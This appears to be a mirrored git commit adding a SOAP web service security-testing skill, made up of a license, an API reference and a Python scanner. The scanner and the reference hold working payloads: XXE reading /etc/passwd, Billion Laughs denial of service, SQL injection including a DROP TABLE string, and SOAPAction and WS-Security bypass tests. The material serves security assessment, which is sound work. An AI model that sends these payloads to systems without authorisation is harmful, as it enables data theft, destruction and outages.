mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-19 22:19:39 +03:00
Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,55 @@
|
||||
# API Reference: SOAP Web Service Security Testing
|
||||
|
||||
## WSDL Namespaces
|
||||
|
||||
| Prefix | URI | Purpose |
|
||||
|--------|-----|---------|
|
||||
| `wsdl` | `http://schemas.xmlsoap.org/wsdl/` | WSDL 1.1 definitions |
|
||||
| `soap` | `http://schemas.xmlsoap.org/wsdl/soap/` | SOAP 1.1 binding |
|
||||
| `soap12` | `http://schemas.xmlsoap.org/wsdl/soap12/` | SOAP 1.2 binding |
|
||||
| `xsd` | `http://www.w3.org/2001/XMLSchema` | XML Schema types |
|
||||
| `wsse` | `http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd` | WS-Security |
|
||||
|
||||
## SOAP Request Headers
|
||||
|
||||
| Header | Value | Description |
|
||||
|--------|-------|-------------|
|
||||
| `Content-Type` | `text/xml; charset=utf-8` | SOAP 1.1 content type |
|
||||
| `Content-Type` | `application/soap+xml; charset=utf-8` | SOAP 1.2 content type |
|
||||
| `SOAPAction` | `"http://example.com/Operation"` | Target operation URI |
|
||||
|
||||
## Common Test Payloads
|
||||
|
||||
| Test | Category | Severity |
|
||||
|------|----------|----------|
|
||||
| XXE file read (`<!ENTITY xxe SYSTEM "file:///etc/passwd">`) | XML Injection | Critical |
|
||||
| Billion Laughs (`<!ENTITY` expansion) | DoS | High |
|
||||
| SQL injection in parameters | Injection | Critical |
|
||||
| SOAPAction header mismatch | Authorization Bypass | High |
|
||||
| Missing WS-Security token | Authentication Bypass | Critical |
|
||||
| XPath injection (`' or '1'='1`) | Injection | High |
|
||||
|
||||
## Python Libraries
|
||||
|
||||
| Library | Version | Purpose |
|
||||
|---------|---------|---------|
|
||||
| `requests` | >=2.28 | Send raw SOAP HTTP requests |
|
||||
| `lxml` | >=4.9 | Parse WSDL/XML with namespace support |
|
||||
| `zeep` | >=4.2 | Full SOAP client with WSDL parsing |
|
||||
| `suds-community` | >=1.1 | Alternative SOAP client |
|
||||
|
||||
## lxml Key Methods
|
||||
|
||||
| Method | Description |
|
||||
|--------|-------------|
|
||||
| `etree.fromstring(xml_bytes)` | Parse XML from bytes |
|
||||
| `root.find(xpath, namespaces)` | Find single element |
|
||||
| `root.findall(xpath, namespaces)` | Find all matching elements |
|
||||
| `element.get(attr)` | Get attribute value |
|
||||
|
||||
## References
|
||||
|
||||
- OWASP SOAP Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/12-API_Testing/01-Testing_GraphQL
|
||||
- PortSwigger XXE: https://portswigger.net/web-security/xxe
|
||||
- zeep Documentation: https://docs.python-zeep.org/en/master/
|
||||
- WS-Security Specification: https://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0.pdf
|
||||
@@ -0,0 +1,182 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for security testing SOAP web services.
|
||||
|
||||
Parses WSDL definitions using zeep/lxml, tests for XXE, SQL injection,
|
||||
SOAPAction spoofing, and WS-Security bypass vulnerabilities.
|
||||
"""
|
||||
|
||||
import requests
|
||||
import json
|
||||
import sys
|
||||
import re
|
||||
from lxml import etree
|
||||
|
||||
|
||||
SOAP_NS = {
|
||||
"wsdl": "http://schemas.xmlsoap.org/wsdl/",
|
||||
"soap": "http://schemas.xmlsoap.org/wsdl/soap/",
|
||||
"soap12": "http://schemas.xmlsoap.org/wsdl/soap12/",
|
||||
"wsse": "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd",
|
||||
}
|
||||
|
||||
|
||||
class SOAPSecurityTester:
|
||||
"""Tests SOAP web services for common vulnerabilities."""
|
||||
|
||||
def __init__(self, wsdl_url, endpoint_url=None):
|
||||
self.wsdl_url = wsdl_url
|
||||
self.endpoint_url = endpoint_url
|
||||
self.operations = []
|
||||
self.findings = []
|
||||
|
||||
def parse_wsdl(self):
|
||||
"""Fetch and parse the WSDL to extract operations and endpoint."""
|
||||
resp = requests.get(self.wsdl_url, timeout=30)
|
||||
resp.raise_for_status()
|
||||
root = etree.fromstring(resp.content)
|
||||
|
||||
if not self.endpoint_url:
|
||||
addr = root.find(".//soap:address", SOAP_NS)
|
||||
if addr is not None:
|
||||
self.endpoint_url = addr.get("location")
|
||||
|
||||
for binding_op in root.findall(".//wsdl:binding/wsdl:operation", SOAP_NS):
|
||||
name = binding_op.get("name")
|
||||
soap_op = binding_op.find("soap:operation", SOAP_NS)
|
||||
action = soap_op.get("soapAction", "") if soap_op is not None else ""
|
||||
self.operations.append({"name": name, "action": action})
|
||||
return self.operations
|
||||
|
||||
def _send_soap(self, body_xml, soap_action="", timeout=10):
|
||||
headers = {"Content-Type": "text/xml; charset=utf-8"}
|
||||
if soap_action:
|
||||
headers["SOAPAction"] = soap_action
|
||||
return requests.post(self.endpoint_url, data=body_xml,
|
||||
headers=headers, timeout=timeout)
|
||||
|
||||
def test_xxe(self, operation_name):
|
||||
"""Test for XML External Entity injection."""
|
||||
payloads = [
|
||||
("Classic XXE file read",
|
||||
f'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM '
|
||||
f'"file:///etc/passwd">]><soapenv:Envelope xmlns:soapenv='
|
||||
f'"http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Body>'
|
||||
f'<{operation_name}>&xxe;</{operation_name}>'
|
||||
f'</soapenv:Body></soapenv:Envelope>'),
|
||||
("Billion Laughs DoS",
|
||||
f'<?xml version="1.0"?><!DOCTYPE lolz ['
|
||||
f'<!ENTITY lol "lol"><!ENTITY l2 "&lol;&lol;&lol;&lol;&lol;">'
|
||||
f'<!ENTITY l3 "&l2;&l2;&l2;&l2;&l2;">]>'
|
||||
f'<soapenv:Envelope xmlns:soapenv='
|
||||
f'"http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Body>'
|
||||
f'<{operation_name}>&l3;</{operation_name}>'
|
||||
f'</soapenv:Body></soapenv:Envelope>'),
|
||||
]
|
||||
results = []
|
||||
for name, payload in payloads:
|
||||
try:
|
||||
resp = self._send_soap(payload, timeout=10)
|
||||
vulnerable = "root:" in resp.text or resp.elapsed.total_seconds() > 5
|
||||
if vulnerable:
|
||||
self.findings.append({"severity": "CRITICAL", "type": "XXE",
|
||||
"operation": operation_name, "test": name})
|
||||
results.append({"test": name, "vulnerable": vulnerable,
|
||||
"status": resp.status_code,
|
||||
"time_s": resp.elapsed.total_seconds()})
|
||||
except requests.RequestException as exc:
|
||||
results.append({"test": name, "error": str(exc)})
|
||||
return results
|
||||
|
||||
def test_sql_injection(self, operation_name, soap_action=""):
|
||||
"""Test SOAP parameters for SQL injection error disclosure."""
|
||||
sqli_payloads = ["' OR '1'='1", "1; DROP TABLE users--",
|
||||
"' UNION SELECT NULL--", "admin'/*"]
|
||||
results = []
|
||||
sql_errors = ["SQL syntax", "ORA-", "SQLSTATE", "Unclosed quotation",
|
||||
"Microsoft OLE DB", "PostgreSQL"]
|
||||
for payload in sqli_payloads:
|
||||
body = (f'<soapenv:Envelope xmlns:soapenv='
|
||||
f'"http://schemas.xmlsoap.org/soap/envelope/">'
|
||||
f'<soapenv:Body><{operation_name}>'
|
||||
f'<param>{payload}</param></{operation_name}>'
|
||||
f'</soapenv:Body></soapenv:Envelope>')
|
||||
try:
|
||||
resp = self._send_soap(body, soap_action, timeout=15)
|
||||
error_found = any(e in resp.text for e in sql_errors)
|
||||
if error_found:
|
||||
self.findings.append({"severity": "CRITICAL", "type": "SQL Injection",
|
||||
"operation": operation_name,
|
||||
"payload": payload[:30]})
|
||||
results.append({"payload": payload, "sql_error": error_found,
|
||||
"status": resp.status_code})
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return results
|
||||
|
||||
def test_soapaction_spoofing(self):
|
||||
"""Test whether mismatched SOAPAction headers are accepted."""
|
||||
results = []
|
||||
for i, op in enumerate(self.operations):
|
||||
for j, other in enumerate(self.operations):
|
||||
if i == j:
|
||||
continue
|
||||
body = (f'<soapenv:Envelope xmlns:soapenv='
|
||||
f'"http://schemas.xmlsoap.org/soap/envelope/">'
|
||||
f'<soapenv:Body><{op["name"]}><p>test</p>'
|
||||
f'</{op["name"]}></soapenv:Body></soapenv:Envelope>')
|
||||
try:
|
||||
resp = self._send_soap(body, other["action"])
|
||||
if resp.status_code == 200 and "Fault" not in resp.text:
|
||||
self.findings.append({"severity": "HIGH",
|
||||
"type": "SOAPAction Spoofing",
|
||||
"operation": op["name"],
|
||||
"spoofed_action": other["action"]})
|
||||
results.append({"op": op["name"],
|
||||
"spoofed": other["action"], "accepted": True})
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return results
|
||||
|
||||
def test_ws_security_bypass(self):
|
||||
"""Test whether requests without WS-Security tokens are accepted."""
|
||||
if not self.operations:
|
||||
return []
|
||||
op = self.operations[0]
|
||||
body = (f'<soapenv:Envelope xmlns:soapenv='
|
||||
f'"http://schemas.xmlsoap.org/soap/envelope/">'
|
||||
f'<soapenv:Body><{op["name"]}><p>test</p>'
|
||||
f'</{op["name"]}></soapenv:Body></soapenv:Envelope>')
|
||||
try:
|
||||
resp = self._send_soap(body)
|
||||
accepted = resp.status_code == 200 and "Fault" not in resp.text
|
||||
if accepted:
|
||||
self.findings.append({"severity": "CRITICAL",
|
||||
"type": "WS-Security Bypass",
|
||||
"operation": op["name"]})
|
||||
return [{"test": "No WS-Security header", "accepted": accepted}]
|
||||
except requests.RequestException as exc:
|
||||
return [{"error": str(exc)}]
|
||||
|
||||
def generate_report(self):
|
||||
report = {"target": self.endpoint_url, "wsdl": self.wsdl_url,
|
||||
"operations": len(self.operations),
|
||||
"findings_count": len(self.findings),
|
||||
"findings": self.findings}
|
||||
print(json.dumps(report, indent=2))
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
wsdl = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080/ws?wsdl"
|
||||
tester = SOAPSecurityTester(wsdl)
|
||||
tester.parse_wsdl()
|
||||
for op in tester.operations:
|
||||
tester.test_xxe(op["name"])
|
||||
tester.test_sql_injection(op["name"], op["action"])
|
||||
tester.test_soapaction_spoofing()
|
||||
tester.test_ws_security_bypass()
|
||||
tester.generate_report()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user